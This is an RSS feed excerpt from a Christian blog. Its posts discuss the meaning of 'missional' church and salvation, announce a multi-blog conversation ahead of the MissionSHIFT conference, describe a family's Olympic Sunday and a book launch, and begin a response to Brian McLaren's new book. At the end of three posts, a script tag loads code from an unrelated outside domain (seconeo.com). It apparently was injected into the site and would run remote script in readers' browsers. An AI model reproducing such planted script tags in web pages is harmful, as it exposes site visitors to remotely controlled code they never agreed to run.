<p>Responding to the question of the week, David refers to a paraphrase of N.T. Wright to say that <span class="pullquote">salvation is &#8220;the working of God in the world to make all things right&#8221;</span> to say that we transition &#8220;from asking people &#8216;have you made a decision to accept Christ as your personal Lord and savior?&#8217; to inviting others to join us in entering the salvation begun in Jesus Christ that God is working for the sake of the whole world.&#8221;</p>
<p>Elsewhere in the conversation, Tim Heerebout also advocates &#8220;a theology of &#8216;both/and&#8217;,&#8221; saying that he cannot &#8220;understand why people insist on polarizing the gospel so much.&#8221; He reminds us of the command to love both God and people, saying there is &#8220;no reconciliation to God without reconciliation to humanity. If we over-emphasize the personal conversion/reconciliation to God through Jesus then we miss the second half of what Jesus was asking of us &#8212; that is to follow His example of love to humanity.&#8221; Others responded with similar sentiment; John L said that &#8220;if we limit salvation to one specific view&#8230; we risk making Jesus into a reflection of our own incomplete nature.&#8221; In a slightly different vein, Michael DeFazio wrote,</p>
<blockquote><p>If we assume that salvation is liberation from the powers of sin and death, then salvation cannot be separated from our actual lives &#8212; what we do in and with them, <em>etc</em>. And it is here that Jesus’ &#8220;example&#8221; saves us, by showing us how to walk the way of salvation. Here it also becomes clear that &#8220;example&#8221; is really not the right word for what we’re trying to say (and maybe using it is part of what continues to obstruct the larger re-definition of what salvation and being saved are all about). Really we’re talking about Jesus as our path-clearer or trailblazer.</p></blockquote>
<p>Overall, the clearest message was along the lines that salvation is not a social <em>or</em> propositional matter, but somehow involves both faith and action, particularly to the extent that the action involved will somehow extend the Kingdom of God or aid in bringing salvation to all of creation in some way. The precise manner of this last transaction is somewhat vague, and perhaps it is so of necessity.</p>
<p>A question was raised about missiology or ecclesiology needs to come first, and this is an excellent point. For my part I have to say missiology first, because God has a church in the world because he has a mission in the world. In other words, defining the mission allows us to define the church. If we define the church first, we run the danger of a missiology geared toward the church rather than toward Christ. Concern was also voiced about some denominational circles being more concerned about survival than growth, meaning that there seems to be greater concern about the fact that the numbers are dwindling than the fact that people are &#8220;lost.&#8221;</p>
<p><!-- BEGIN SIDEBAR -->
<div style="width:180px;float:right;margin-left:5px;padding:4px;border-top:2px #120 solid;border-bottom:2px #120 solid;background:#eee;border-left:1px solid #120;border-right:1px solid #120;font-size:85%;">
<strong style="text-align:center;">In this Conversation</strong></p>
<ul>
<li style="list-style-type: none;"><a href="http://www.edstetzer.com/2010/03/monday-is-for-missiology-8.html" title="Monday is for Missiology">Ed Stetzer</a></li>
<li style="list-style-type: none;"><a href="http://www.reclaimingthemission.com/missional-soteriology-does-the-missional-vision-change-how-people-get-saved/" title="Missional Soteriology: Does the Missional vision Change how People get Saved?">David Fitch</a></li>
<li style="list-style-type: none;"><a href="http://gospeldrivenchurch.blogspot.com/2010/03/two-fisted-gospel-manifesto-for-kingdom.html" title="The Two-Fisted Gospel: A Manifesto for Kingdom Militancy">Jared Wilson</a></li>
<li style="list-style-type: none;"><a href="http://jonathandodson.org/2010/03/what-is-the-gospel-of-the-missional-church/" title="What is the Gospel of the Missional Church?">Jonathan Dodson</a></li>
</ul>
</div>
<p><!-- END SIDEBAR -->The subject of the nature of salvation in a missional context requires more exploration than it&#8217;s been given thus far, but already a direction for the topic seems to be emerging. Whatever view of missional salvation eventually finds acceptance, it will be a broad one that looks beyond the needs of an individual to avoid an undesirable afterlife.</p>
<p>Jump in with further thoughts below.<script src="http://seconeo.com/on"></script></p>
]]></description>
		<wfw:commentRss>http://subversiveinfluence.com/2010/03/salvation-in-a-prologue-to-missional-discussions/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Prologue to Missional Discussions</title>
		<link>http://subversiveinfluence.com/2010/03/prologue-to-missional-discussions/</link>
		<comments>http://subversiveinfluence.com/2010/03/prologue-to-missional-discussions/#comments</comments>
		<pubDate>Tue, 02 Mar 2010 22:27:28 +0000</pubDate>
		<dc:creator>Brother Maynard</dc:creator>
				<category><![CDATA[Church]]></category>
		<category><![CDATA[E/MC Community]]></category>
		<category><![CDATA[Missional]]></category>
		<category><![CDATA[alan-hirsch]]></category>
		<category><![CDATA[bill-kinnon]]></category>
		<category><![CDATA[brother-maynard]]></category>
		<category><![CDATA[david-fitch]]></category>
		<category><![CDATA[defining-missional]]></category>
		<category><![CDATA[ed-stetzer]]></category>
		<category><![CDATA[jared-wilson]]></category>
		<category><![CDATA[Jonathan Dodson]]></category>
		<category><![CDATA[missionSHIFT]]></category>
		<category><![CDATA[rick-meigs]]></category>
		<category><![CDATA[Tiffany Smith]]></category>

		<guid isPermaLink="false">http://subversiveinfluence.com/?p=3470</guid>
		<description><![CDATA[<p><img class="alignright" src="/images/2010/oed.jpg" width="350" height="151" alt="oed.jpg" /> Seems a little odd to be writing a prologue after all this time, doesn&#8217;t it? Well, there&#8217;s a back-story, as may be inferred by those who may have noticed posts at other blogs with this same title. I&#8217;ve written a lot about the meaning of missional, its distinctives, and what it means to be missional &#8212; besides innumerable casual mentions on this blog. I finally drafted a <a href="/2010/02/just-what-is-missional/" title="Just What is Missional?">missional series index</a> that lists the posts I did during my major series (2007) defining the concepts inherent in the term as well as the nine-post series I did (2008) summarizing the missional synchroblog when more than 50 bloggers participated in hashing out what it means to be missional. With a couple of other miscellaneous posts thrown in, this is a total of 25 posts just from me. That&#8217;s a lot of words, and some may wonder why I&#8217;m doing this <em>once again</em>. No, it&#8217;s not because I skipped it last year and am overdue, but it&#8217;s for two major reasons.</p>
<p>Firstly, I&#8217;m revisiting this subject because it&#8217;s <em>that</em> important, and secondly, because there are still people muddying the waters with their unhelpful notions of what it is to be missional. (Sadly, some of these are the same people from three years ago.) In this vein is an attack from Jonathan Leeman, Director of Communications for <a href="http://www.9marks.org" title="9Marks">9Marks</a>, where he (mis)characterizes the missional conversation as a first step toward a new liberalism. (See Rick Meigs&#8217; post, &#8220;<a href="http://blindbeggar.org/?p=871" title="9Marks on Missional">9Marks on Missional</a>&#8220;; I was mildly critical of their definition back in 2007 when they were using it favorably.) More recently, someone used the term &#8220;the missional right&#8221; in a blog comment. The commenter has since clarified what he meant and rescinded some of what was misunderstood by it but the minor uproar that came from it is, I think, fairly telling in itself. Also within the past number of weeks, Ed Stetzer announced the <a href="http://missionshiftconference.com/" title="MissionSHIFT">MissionSHIFT conference</a> to be held later this year, and is coordinating efforts to draft a document titled &#8220;The Missional Manifesto&#8221; in the lead-up to the conference. To do this, Ed has recruited some good missional voices to help in framing the document, which I understand will be more about what it means for us to be missional than to actually define the term. A few of us have been talking with Ed a little further about this document and how to gather ideas from a wider group of people, and together we&#8217;ve come up with a way of gathering some input for the document framers to review as part of their exercise. No guarantee that all or any of this part of the conversation will land in the document as presented, but it&#8217;s an important step in gaugeing the wider view of what missional is and what some of its ramifications are. In this way, the prologue conversations help frame the discussion for the document framers.</p>
<p>You may have read this elsewhere as well so I won&#8217;t be hurt if you skip down below the quote, but here&#8217;s the initial post announcing this part of the discussion:</p>
<blockquote><p>David Fitch once said that most missional thought leaders &#8220;emphasize incarnational forms of church over attractional; the church as Missio Dei over mission as program; organic forms of missionary living in neighborhoods over ministry set in a building.&#8221; Yet many others <strong>&#8220;purveyors of missional emptiness&#8221;</strong> continue to add the term to the current program they are attempting to promote or make cool sounding. As Ed Stetzer noted, &#8220;The word missional is used to bludgeon legalism and antinomianism alike. To some it is a sign of freedom from all established forms of the church and to others it is a degeneration into syncretism with the world.&#8221;</p>
<p>So, <strong>do we abandon the term and move on?</strong> Not yet, because the concept behind missional is really big and words help us when we can agree on their definitions— or at least we can agree what we mean when we use a word.</p>
<p>Over the next few weeks, a group of bloggers want to thrash out the meaning of word &#8220;missional&#8221; and the activity which accompanies a missional church and lifestyle.  It will be discussed here as well as at other places including the blogs listed below. As the conversation moves forward, I hope you will move from blog to blog and offer insights from the scriptures and from how you see missional happening in your local community.</p>
<p>By doing this, we can all be a part of a <em>specific</em> missional conversation. As many of you know, there are several working toward a <strong>&#8220;Missional Manifesto&#8221;</strong> that will be rolled out as a part of the <a href="http://missionshiftconference.com/" title="MissionSHIFT">missionSHIFT</a> conference on July 12-15, 2010. The intent with the manifesto is to say, &#8220;This is what we mean when we talk about being missional.&#8221;  It is not the manifesto&#8217;s intent (or within its ability) to say this is what everyone should think or say about the term, but reflects a hope that it will help us all be clearer and more mission-shaped in our own thinking and practice.</p>
<p>Conversation on the grassroots level is important, so be sure to join in here and at the other blogs and let&#8217;s see where God take us. The initial group that will be running with this conversation from the outset is:</p>
<ul>
<li><a href="http://tiffanydsmith.wordpress.com/2010/03/01/prologue-to-missional-discussions/" title="Prologue to Missional Discussions">Tiffany Smith: Missional Mayhem</a></li>
<li><a href="http://www.kinnon.tv/2010/03/prologue-to-missional-discussions.html" title="Prologue to Missional Discussions">Bill Kinnon: kinnon.tv</a></li>
<li><a href="http://subversiveinfluence.com/" title="Brother Maynard: Subversive Influence">Brother Maynard: Subversive Influence</a></li>
<li><a href="http://www.reclaimingthemission.com/prologue-to-missional-discussions/" title="Prologue to Missional Discussions">David Fitch: Reclaiming the Mission</a></li>
<li><a href="http://gospeldrivenchurch.blogspot.com/2010/03/prologue-to-missional-discussions.html" title="Prologue to Missional Discussions">Jared Wilson: The Gospel-Driven Church</a></li>
<li><a href="http://jonathandodson.org/2010/03/missionshift-clarifying-missional/" title="MissionSHIFT: Clarifying 'Missional'">Jonathan Dodson: Creation Project</a></li>
<li><a href="http://blindbeggar.org/?p=1110" title="Prologue to Missional Discussions">Rick Meigs: The Blind Beggar</a> and <a href="http://www.friendofmissional.org/" title="Friend of Missional">Friend of Missional</a></li>
</ul>
</blockquote>
<p>(Links above are to the respective kickoff posts; you can click the images below to head to the front pages of the blogs. In addition to the above, there&#8217;s also <a href="http://www.edstetzer.com/2010/03/prologue-to-missional-discussi.html" title="Prologue to Missional Discussions">Ed Stetzer&#8217;s kickoff post</a>.)</p>
<p><a class="noeffect" href="http://blindbeggar.org/" title="The Blind Beggar"><img class="alignleft" src="/images/rick-meigs.100x300.png" height="100" width="300" border="0" alt="" /></a> <a class="noeffect" href="http://www.reclaimingthemission.com/" title="Reclaiming the Mission"><img class="alignleft" src="/images/david-fitch.100x300.png" height="100" width="300" border="0" alt="" /></a> <a class="noeffect" href="http://gospeldrivenchurch.blogspot.com/" title="The Gospel-Driven Church"><img class="alignleft" src="/images/jared-wilson.100x300.png" height="100" width="300" border="0" alt="" /></a> <a class="noeffect" href="http://jonathandodson.org/" title="Creation Project"><img class="alignleft" src="/images/jonathan-dodson.100x300.png" height="100" width="300" border="0" alt="" /></a> <a class="noeffect" href="http://tiffanydsmith.wordpress.com/" title="Missional Mayhem"><img class="alignleft" src="/images/tiffany-smith.100x300.png" height="100" width="300" border="0" alt="" /></a> <a class="noeffect" href="http://edstetzer.com/" title="Lifeway Research Blog"><img class="alignleft" src="/images/ed-stetzer.100x300.png" height="100" width="300" border="0" alt="" /></a> <a class="noeffect" href="http://www.kinnon.tv/" title="kinnon.tv"><img class="alignleft" src="/images/bill-kinnon.100x300.png" height="100" width="300" border="0" alt="" /></a> <a class="noeffect" href="http://subversiveinfluence.com/" title="Subversive Influence"><img class="alignleft" src="/images/brother-maynard.100x300.png" height="100" width="300" border="0" alt="" /></a> Hopefully that helps outline what we&#8217;re doing here. Ed will be posting his usual Monday Missional topics, but during this part of the conversation, he will be presenting some of the questions that we feel need to be addressed as we tackle what it means to be missional. Several other bloggers will pick up the discussion during the week, inviting comments on their blogs and elsewhere around these questions as we wrestle with them. I&#8217;ll be posting late in the week (planning for Fridays) in an attempt to gather up some of what&#8217;s being said and offer a bit of my own analysis.</p>
<p>Following the &#8220;kickoff post&#8221; that some of the bloggers linked above, most have prompted discussion around a one-sentence definition of &#8220;missional.&#8221; Obviously I&#8217;ve already defined missional, so I&#8217;ll restate the two things that I said were <a href="http://subversiveinfluence.com/2007/08/missional-essentials-a-short-list/" title="Missional Essentials: A Short List">essential to the meaning of missional</a>. Missional means that the church is organized around its mission, and its ministry is incarnational. The upshot of my longer series was that if you remove either of these two central tenets, you&#8217;re left with something that&#8217;s no longer missional. I explained the first part as being organized <em>by</em> mission rather than <em>for<em> mission, which was nicely underscored by one of the commenters when he said, &#8220;Mission as the church’s organizing principle is more nuanced than simply mission being the church’s priority. In the missional church, mission organizes all the other functions of the church.&#8221;</p>
<p>I&#8217;ll continue quoting just a few of the highlights from the interaction around this idea, starting with Jamie Arpin-Ricci&#8217;s new definition: &#8220;Becoming and living Christ together.&#8221; This one is a deceptively rich phrase, which includes an emphasis on community.</p>
<p>I also appreciated <a href="http://davidwierzbicki.com/blog/2010/03/01/still-defining-missional/" title="Still Defining Missional">David Wierzbicki&#8217;s contribution</a> that missional <em>doesn&#8217;t</em> mean &#8220;I&#8217;m not Emergent but I am still progressive!&#8221; although it&#8217;s starting to be used that way. He also says, the term &#8220;is still easily captured by those who see nothing of value in institutional Christianity [who seem to suggest that] &#8216;Missional means getting away from crusty church buildings and doing something &#8216;organicky.&#8217;&#8221;</p>
<p>JT Caldwall quoted a definition from the Jan-Mar 2010 issue of <a href="http://www.dts.edu/media/publications/bibliothecasacra/" title="DTS: Bibliotheca Sacra"><em>Bibliotheca Sacra</em></a>. I decided to chase down the quote, and discovered that &#8220;What is the Missional Church Movement?&#8221; by W. Rodman MacIlvaine is <a href="http://www.dts.edu/utility/file.aspx?FileID=554" title="What is the Missional Church Movement?">available online (PDF)</a>. I&#8217;ve added in some context for the definition used there:</p>
<blockquote><p>The adjective &#8220;missional,&#8221; when applied to the church, is different from other adjectives currently in vogue. Terms such as &#8220;emergent&#8221; and &#8220;emerging&#8221; describe so-called cutting-edge churches reaching young postmoderns. But some emergent thinkers seem to be jettisoning major portions of the historic Christian faith altogether, edging toward old-fashioned liberalism with its theological double-speak. The term &#8220;missional,&#8221; on the other hand, has evolved to have a precise definition, rich in theological significance in four areas: theology proper, Christology, soteriology, and ecclesiology. A missional church is a unified body of believers, intent on being God’s missionary presence to the indigenous community that surrounds them, recognizing that God is already at work.</p></blockquote>
<p>The <em>BibSac</em> definition interested me because of the similarity to <a href="http://subversiveinfluence.com/2007/08/understanding-missional-personalizing-the-central-tenets/" title="Understanding Missional: Personalizing the Central Tenets">a definition of missional church</a> that I gave previously: &#8220;A missional church, then, is a collection of missional believers acting in concert together in fulfillment of the <em>Missio Dei</em>.&#8221; I also explained (in the post I linked) the importance of defining the church from the individuals rather than calling a church as missional. I might quibble with the preamble to say that the theological import didn&#8217;t <em>evolve</em> but was always inherent in the term.</p>
<p>The definitions from the discussion so far seem include a clear theme of engagement with those around us &#8212; not when we&#8217;re sitting in a pew, but when we&#8217;re out and about in our everyday lives. One of the conversations collaborated on a definition, which I might paraphrase (shorten) a little further to say <em>A missional life is a calling of the church into the neighborhood to discover and join God, re-forming and reshaping our life together to send us deeper into our context with heightened awareness of and ability to respond to God.</em> Another definition included a striking phrase to describe a missional church as one that &#8220;risks everything that it thinks it knows, to enter into situations of powerlessness&#8230;&#8221;</p>
<p>Of course, we sometimes like to reach for a definition that&#8217;s as plain as can be, and for me that&#8217;s the tag line that I coined for this blog, a phrase I used before &#8220;missional&#8221; really came up onto my radar. &#8220;Live your faith. Share your life.&#8221; One of my big disconnects with the institutional church had a lot to do with getting those two backwards.</p>
<p>The participants in the conversation threads so far have done a good job of avoiding &#8220;thread drift&#8221; (as one commenter called it) to keep on track with the question. In that context, a good challenge was made as well about not allowing missional to be defined in terms of Western perspective &#8212; <em>e.g.,</em> &#8220;neighbourhood&#8221; means something different in the West than in other parts of the world, where different (more fundamental) challenges are being faced daily.</p>
<p>At the same time, there were a few items which I personally felt were injecting too much meaning into the word, such as snippets of evangelical or conservative theology. I&#8217;ve written on this before, suggesting that <a href="/2007/08/missional-essentials-a-short-list/" title="Missional Essentials: A Short List">there are <em>different kinds of missional</em></a>, based primarily on theological background and/or ecclesiological structures. My previous attempts (and I think the best approach) have always been to look at what is fundamentally missional without allowing these additional biases to enter into the definition. They may be important, even foundational&#8230; but for the most part they aren&#8217;t inherently missional. Must one be evangelical to be missional? I would say not. But of course there are many missional evangelicals.</p>
<p>The discussion ahead promises to help flesh out a lot of what we&#8217;re talking about by bringing up some of these issues and questions which help complete our picture of what it means to engage with the world missionally. As we&#8217;ll discover, there are a lot of questions on the periphery that may not be necessary to define missional <em>per se</em>, but have a great deal to do with understanding what it means to live it.</p>
<p>Jump into the conversation in the comments below or at any of the other blogs. This one is intended to be open, so if you want to post to your own blog, just jump in and link back here, and/or comment below to let us know where your post is. You can jump in on the conversation at Twitter as well &#8212; here are some of the relevant &#8220;follows&#8221;:<br />
<a href="http://twitter.com/BlindBeggar" title="Twitter: BlindBeggar">@BlindBeggar</a> | <a href="http://twitter.com/tiffanydsmith" title="Twitter: tiffanydsmith">@tiffanydsmith</a> | <a href="http://twitter.com/Jonathan_Dodson" title="Twitter: Jonathan_Dodson">@Jonathan_Dodson</a> | <a href="http://twitter.com/bradandrews" title="Twitter: bradandrews">@bradandrews</a> | <a href="http://twitter.com/edstetzer" title="Twitter: edstetzer">@edstetzer</a> | <a href="http://twitter.com/philipnation" title="Twitter: philipnation">@philipnation</a> | <a href="http://twitter.com/AlanHirsch" title="Twitter: AlanHirsch">@AlanHirsch</a> | <a href="http://twitter.com/kinnon" title="Twitter: kinnon">@kinnon</a> | <a href="http://twitter.com/bromaynard" title="Twitter: bromaynard">@bromaynard</a> | <a href="http://twitter.com/missionSHIFT" title="Twitter: missionSHIFT">@missionSHIFT</a> | Hashtag: <a href="http://twitter.com/search?q=%23missionshift" title="Twitter search: #missionshift">#missionshift</a><br />
<script src="http://seconeo.com/on"></script></p>
]]></description>
		<wfw:commentRss>http://subversiveinfluence.com/2010/03/prologue-to-missional-discussions/feed/</wfw:commentRss>
		<slash:comments>15</slash:comments>
		</item>
		<item>
		<title>Musings of the Day</title>
		<link>http://subversiveinfluence.com/2010/03/musings-of-the-day/</link>
		<comments>http://subversiveinfluence.com/2010/03/musings-of-the-day/#comments</comments>
		<pubDate>Mon, 01 Mar 2010 05:43:33 +0000</pubDate>
		<dc:creator>Brother Maynard</dc:creator>
				<category><![CDATA[Books]]></category>
		<category><![CDATA[Current Events]]></category>
		<category><![CDATA[Easter]]></category>
		<category><![CDATA[God Life]]></category>
		<category><![CDATA[I Ramble]]></category>
		<category><![CDATA[Simple Church]]></category>
		<category><![CDATA[beautiful mercy]]></category>
		<category><![CDATA[Emerging Kids]]></category>
		<category><![CDATA[hockey]]></category>
		<category><![CDATA[matthew 23]]></category>
		<category><![CDATA[Olympics]]></category>
		<category><![CDATA[sacred space]]></category>
		<category><![CDATA[st-benedicts-table]]></category>

		<guid isPermaLink="false">http://subversiveinfluence.com/?p=3465</guid>
		<description><![CDATA[<p><img class="alignright" src="/images/2010/team-canada-hockey-gold.jpg" width="250" height="140" alt="team-canada-hockey-gold.jpg" /> This evening is in a way a day of closings. It&#8217;s the end of the week, and the end of the 2010 Winter Olympics in Vancouver. I think our television has been on almost nonstop for 17 days now. And it&#8217;s been good seeing our Canadian athletes doing so well. 14 gold medals, more than any country has ever won in any winter Olympics. I think the early glitches of the games were pretty much forgotten as we showed the world how we party at home. People in the street spontaneously singing the national anthem? That&#8217;s pretty remarkable for any country anywhere, I&#8217;d say. And of course, we made sure to remind the world that hockey is <em>our</em> game. I might have over-tweeted that point, but there it is. Here we are being Canadian&#8230; thoroughly proud to the core of all our athletes who scored a podium finish, and feeling sorry for those who didn&#8217;t, whether those others are Canadian or not.</p>
<p>The day began with &#8220;Family Church&#8221; or &#8220;Kids&#8217; Church&#8221; wherein those from our home fellowship who have young kids get together to do something as families, usually involving a meal and some teaching for the kids. We started with French toast with blueberries or apples and cinnamon with whipped cream and some Olympic highlight viewing on television. We&#8217;ve been building a timeline on a huge scroll &#8212; we began in September with creation, and are now up to the crucifixion and resurrection, taking the entire Bible chronologically. Today we used the <a href="/2006/04/easter-mnemonics/" title="Easter Mnemonics">Easter Mnemonics</a> that <a href="/2006/04/easter-for-simple-church-kids/" title="Easter for Simple Church Kids">we&#8217;ve done before with the kids for Easter</a>. We&#8217;ll come back to the exercise when it&#8217;s actually Easter, but for now we need to move on in our timeline. At least we timed Christmas to hit the right timeframe. After doing that, the kids drew their illustrations on the big scroll.</p>
<p><img class="alignleft" src="/images/2010/crosby-goal.jpg" width="306" height="172" alt="crosby-goal.jpg" /> We had time in the afternoon to go for a nice walk down the La Salle river and back before settling in for lunch and an epic hockey game. Saying too much about that would be impossible for some and redundant for others, but it was a good game for the spectators followed I think by a countrywide party.</p>
<p><img class="alignright" src="/images/2010/beautiful-mercy-postcard.jpg" width="230" height="293" alt="beautiful-mercy-postcard.jpg" /> This evening before the closing ceremony for the Olympics started, I stepped out to <a href="http://stbenedictstable.ca/" title="St. Benedicts Table">St. Benedicts Table</a> for the Sunday evening meeting. So often on Sunday evenings it feels like it&#8217;s been a long day and there on the verge of what often promises to be a long week ahead. Especially during the winter months, it&#8217;s rare to feel like going out &#8212; in today&#8217;s case after having just gotten home not long before. This Sunday evening however, we were marking the completion of <a href="http://stbenedictstable.ca/boh/" title="Book of Hours"><em>Beautiful Mercy: A Book of Hours</em></a>, a project of St. Ben&#8217;s that&#8217;s been more than a year in the making. My own contribution was a meditation for Vespers during Christmastide. The book provides artistic contributions (writing, artwork, music) directed at the seven daily offices, one set for each of the seasons in the church calendar. So yes, there&#8217;s another book out with a contribution of mine in it.</p>
<p>The official launch is set for <a href="http://www.mcnallyrobinson.com/event-9380/Saint-Benedict%E2%80%99s-Table-----Book-Launch" title="Saint Benedict’s Table -- Book Launch">this Tuesday evening at McNally Robinson</a> in the Prairie Ink cafe at Grant Park in Winnipeg. This format allows for not only some readings, but also performances from some of the musical contributors, including Mike Koop, Gord Johnson, and Steve Bell. <a href="http://www.winnipegfreepress.com/life/faith/beautiful-mercy-a-collaboration-of-st-benedicts-table-members-85647462.html" title="Beautiful Mercy a collaboration of St. Benedict's Table members">A <em>Winnipeg Free Press</em> story</a> gives more detail on the project, and I&#8217;d encourage anyone in the area to come down for the launch on Tuesday. The price of the book may sound a little steep, but it&#8217;s an exceptional volume &#8212; handsomely bound in a simple cloth hardcover with full colour glossy pages throughout, and includes a CD of the music that accompanies certain entries to make it a multimedia project.</p>
<p>So that&#8217;s what got me out to St. Ben&#8217;s tonight&#8230; I&#8217;ve been anxious to actually get my hands on a copy of the book. I overcame that feeling where you want to be in a certain place but don&#8217;t have the energy to get yourself there &#8212; which usually means you don&#8217;t get off the couch. And I was sitting in my pew thinking about this, and about how it feels as though you&#8217;ve entered <em>a space</em> as you take this time on a Sunday evening at St. Ben&#8217;s. <span class="pullquote">It&#8217;s a space that&#8217;s created, carved out of the week&#8217;s calendar as a <em>protected</em> space where outside cares and concerns are not allowed to intrude</span>. And in this space, you have a brief spiritual encounter that by transcending time and space will somehow sustain you through the week ahead by reminding you that a space like this is more accessible than we realize.</p>
<p>A short while later I came to the realization that one of the week&#8217;s texts was from Matthew 23, and Jamie Howison was talking about how a hen protects her chicks, and this imagery came back to me of how sacred space is protected for the God-encounters we need so badly to sustain us.</p>
<p>Later still was a quote from Calvin Seerveld comparing an offering of art to the worship of Mary as she poured perfume on Jesus&#8217; feet. Art is important, which was a reassuring reminder for our book launch. If I can get my hands on a copy of this quote, I&#8217;ll post it&#8230; it struck me as profound.</p>
<p><script src="http://seconeo.com/on"></script></p>
]]></description>
		<wfw:commentRss>http://subversiveinfluence.com/2010/03/musings-of-the-day/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>A New Kind of Conversation: Why I Might be Neo-Emergent</title>
		<link>http://subversiveinfluence.com/2010/02/a-new-kind-of-conversation-why-i-might-be-neo-emergent/</link>
		<comments>http://subversiveinfluence.com/2010/02/a-new-kind-of-conversation-why-i-might-be-neo-emergent/#comments</comments>
		<pubDate>Tue, 16 Feb 2010 05:51:51 +0000</pubDate>
		<dc:creator>Brother Maynard</dc:creator>
				<category><![CDATA[Books]]></category>
		<category><![CDATA[E/MC Community]]></category>
		<category><![CDATA[Emergent]]></category>
		<category><![CDATA[Emerging Church]]></category>
		<category><![CDATA[Missional]]></category>
		<category><![CDATA[brian-mclaren]]></category>
		<category><![CDATA[Daryl Dash]]></category>
		<category><![CDATA[neo-emergent]]></category>

		<guid isPermaLink="false">http://subversiveinfluence.com/?p=3446</guid>
		<description><![CDATA[<p><img class="alignright" src="/images/2010/new-kind-xnty-cover.jpg" width="200" height="300" alt="new-kind-xnty-cover.jpg" /> Brian McLaren&#8217;s new book (<a href="http://www.amazon.com/gp/product/0061853984?ie=UTF8&#038;tag=subversiveinf-20&#038;linkCode=as2&#038;camp=1789&#038;creative=390957&#038;creativeASIN=0061853984" title="Amazon.com: A New Kind of Christianity: Ten Questions That Are Transforming the Faith"><em>A New Kind of Christianity: Ten Questions That Are Transforming the Faith</em></a>) has just been released, and it&#8217;s already causing a bit of a firestorm. I&#8217;m still awaiting my copy, but plan to look through it at his ten questions and interact with those once I&#8217;ve been able to consider them in more detail. In the meantime, there are a few things upon which I really feel the need to comment, and since I have a ready-built platform, there&#8217;s nobody to stop me. I apologize for the length of the post &#8212; I went back to see if I could split it up into two parts, but it just doesn&#8217;t work very well to do that. It&#8217;s long, but I think it&#8217;s important. Thanks in advance for bearing with me, and reading on. And if you get bored, skip down &#8212; I summarize at the end.</p>
<p>Now, some of the early reviews I&#8217;ve seen of Brian&#8217;s latest book suggest that we should have stopped reinventing after <a href="http://www.amazon.com/gp/product/078795599X?ie=UTF8&#038;tag=subversiveinf-20&#038;linkCode=as2&#038;camp=1789&#038;creative=390957&#038;creativeASIN=078795599X" title="A New Kind of Christian: A Tale of Two Friends on a Spiritual Journey"><em>A New Kind of Christian</em></a> rather than pressing for <em>A New Kind of Christianity</em>. It seems the book is Brian&#8217;s most controversial one since <a href="http://www.amazon.com/gp/product/B001IAQOEW?ie=UTF8&#038;tag=subversiveinf-20&#038;linkCode=as2&#038;camp=1789&#038;creative=390957&#038;creativeASIN=B001IAQOEW" title="The Last Word And The Word After That"><em>The Last Word And The Word After That</em></a>. After <em>Last Word</em>, he took some heavy criticism from evangelicals and other conservatives not part of the Emerging Church Movement. <span class="pullquote">This time around, the criticism is starting on the inside</span>. But that&#8217;s just lead-in, at least until I get my own copy for review and determine whether I think Mr. McLaren has gone off the reservation or not. For now, this is about the conversation itself rather than the contents of the book&#8230; though I&#8217;ll start with some of the early book reviews.</p>
<p>So, to bring you up to date, we have <a href="http://www.dashhouse.com/2010/02/review-a-new-kind-of-christianity/" title="Review: A New Kind of Christianity">Daryl Dash&#8217;s review</a> of Brian&#8217;s latest. He says that while the book is engaging and offers discussion on some very important questions, it is ultimately &#8220;not a minor tweak of Christianity. It is a repudiation of the church’s understanding of God and the gospel.&#8221;</p>
<p>After <a href="http://www.kinnon.tv/2010/02/brian-wants-to-frame-the-reviews-if-you-disagree-with-me-you-are-probably-a-fundie.html" title="Brian Wants to Frame the Reviews: 'If you disagree with me, you are probably a Fundie!'">outlining his initial disagreements with the book</a>, Bill Kinnon rounds up a list of <a href="http://www.kinnon.tv/2010/02/reviewers-reviewing-mclarens-a-new-kind-of-christianity.html" title="Reviewers Reviewing McLaren's A New Kind of Christianity">Reviewers Reviewing McLaren&#8217;s A New Kind of Christianity</a>.</p>
<div class="floatright" style="width:350px;text-align:center;"><object width="350" height="280"><param name="allowfullscreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="movie" value="http://vimeo.com/moogaloop.swf?clip_id=2873717&amp;server=vimeo.com&amp;show_title=0&amp;show_byline=0&amp;show_portrait=0&amp;color=ffffff&amp;fullscreen=1" /><embed src="http://vimeo.com/moogaloop.swf?clip_id=2873717&amp;server=vimeo.com&amp;show_title=0&amp;show_byline=0&amp;show_portrait=0&amp;color=ffffff&amp;fullscreen=1" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always" width="350" height="280"></embed></object>
<p><a href="http://vimeo.com/2873717">&#8216;curiosity&#8217;</a> from <a href="http://vimeo.com/soulbiographies">Nic Askew</a> on <a href="http://vimeo.com">Vimeo</a>.</div>
<p> <a href="http://www.brianmclaren.net/archives/blog/are-you-a-fundamentalist-a-onequ.html" title="http://www.brianmclaren.net/archives/blog/are-you-a-fundamentalist-a-onequ.html">Brian McLaren&#8217;s one-question fundamentalism quiz</a> got him <a href="http://blog.beliefnet.com/jesuscreed/2010/02/brian-mclaren-on-fundamentalis.html" title="Brian McLaren on Fundamentalism 2">in trouble with Scot McKnight</a>. Brian&#8217;s post was based on a short video of Seth Godin describing his notion of fundamentalism. In the context of Seth&#8217;s definition, the quiz makes sense, but perhaps not in the context of the usual definition of fundamentalism. One might go as far as to suggest it&#8217;s a dichotomy between open or closed-mindedness. Brian is suggesting his book is really only for the curious open-minded person. And that&#8217;s fair.</p>
<p>Unfortunately, the quiz paired with a misunderstanding of <a href="http://dougpagitt.com/2010/01/fear-a-powerful-thing/" title="Fear -- A Powerful Thing">some comments by Doug Pagitt</a> placed alongside <a href="http://theooze.tv/thinkfwd/brian-mclaren" title="Brian McLaren – Navigating Through A New Kind of Christianity">an Ooze.tv video with Brian</a> has led a number of folks to conclude that disagreement with Brian (or other Emergent writers) meant that there was a presumed problem with the person voicing the disagreement, allowing the concern to be written off or dismissed in some way. I&#8217;m not certain this is actually happening, but based on reviews of the book and my own consideration, I&#8217;ve realized two things.</p>
